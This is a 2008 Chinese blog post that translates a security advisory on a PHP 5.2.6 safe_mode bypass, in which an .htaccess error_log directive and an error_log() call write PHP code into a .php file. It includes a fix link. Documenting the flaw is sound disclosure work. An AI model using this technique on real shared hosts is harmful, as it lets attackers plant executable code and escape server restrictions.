Some reminiscences, some memories

Just another boring day
« 首次 SUN Tech Day 广州站感(找抽文,不喜勿入)
关于败毒和CCAV的一点消息 »

21

Nov

PHP 5.2.6 safe_mode 中 error_log 的漏洞

mikespook 

今天早上在这里看到的,觉得很有必要记录一下:http://www.milw0rm.com/exploits/7171

一个简单的翻译如下:

- --- 0.描述---
PHP 是 HTML 内嵌脚本语言。多数语法从 C、Java、Perl 借鉴而来,并有一些独特的功能。这个语言的目标是允许 web 开发人员快速的编写动态页面。

error_log

PHP 允许定义自定义错误处理,如修改记录错误的方式。这允许修改并强化错误报告,使其更加适合应用。

- --- 0. error_log 常量. php_admin_flag 引起的漏洞  ---
主要问题在全局使用 safe_mode 中。

php.ini­:
safe_mode = On

或通过 php_admin_flag 定义

<Directory "/www">
...
	php_admin_flag safe_mode On
</Directory>

当创建了一些 php 脚本在 /www/ 中并尝试调用:

ini_set("error_log", "/hack/");

或者在 /www/.htaccess 中

php_value error_log "/hack/bleh.php"

结果:

Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4

这是 safe_mode 定义在 php.ini 中的情形。但是如果使用

php_admin_flag safe_mode On 

在 httpd.conf 中,只会得到

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4

.htaccess中的代码

php_value error_log "/hack/blehx.php"

被允许,成为了 safe_mode 的漏洞。

实例:
error_log("<?php phpinfo(); ?>", 0);

- --- 2. 如何修复 ---
在 CVS 中

http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315&view=markup

注意:
不要将 safe_mode 作为主要的安全措施。

 --- 3. 致意 ---
sp3x 情报链 p_e_a pi3

- --- 4. 联系 ---
作者: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
邮件: cxib [at] securityreason [dot] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com

http://securityreason.pl

This entry was posted on Friday, November 21st, 2008 at 01:26 and is filed under PHP. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

Leave a Reply

Trackback URI | Comments RSS

 

September 2010
M T W T F S S
« Aug    
 12345
6789101112
13141516171819
20212223242526
27282930  

Recent Comments

  • cbf107 on 我们精通精通
  • mikespook on 我们精通精通
  • == on 我们精通精通
  • 老熊 on 关于Web编程异步模型的白日梦
  • Some reminiscences, some memories » Blog Archive » Akihabara 指南目录 on Akihabara 指南

Tags

乱码 协程 地震 备案 安装 广州 异步 性能 我爱发明 扯淡 招聘 游戏 漏洞 翻译 豆瓣 39.com Adobe akihabara config countdown Demo Flash game engine golang google html5 issue linux Micromedia MongoDB mysql NetBeans nginx NoSQL oracle PHP phpunit Python trac ubuntu xdebug xml xubuntu yield Zend Framework

Blogroll

  • Blog on 27th Floor
  • DBA notes
  • Tim[后端技术]
  • 唐海燕
  • 小众音乐
  • 抚琴居
  • 某人的栖息地
  • 番茄’s Blog
  • 網站製作學習誌
  • 纸老虎传媒

Old friends

  • cbf107

Only

  • 媚惑桃花

OurPNP

  • Biaoest:标的最高级
  • flexsns-官方博客
  • PNP University
  • PNP街坊
  • smallfish 鱼哥的窝子
  • 冰山日志
  • 墙外的光神V5
  • 夜雨's Blog
  • 小冬kobe
  • 小路的奇异世界
  • 广州萌芽工作室
  • 老甘blog
  • 赖勇浩的编程私伙局

Meta

  • Log in
  • Entries RSS
  • Comments RSS
  • WordPress.org

Powered by WordPress
mikespook.com 粤ICP备09065095号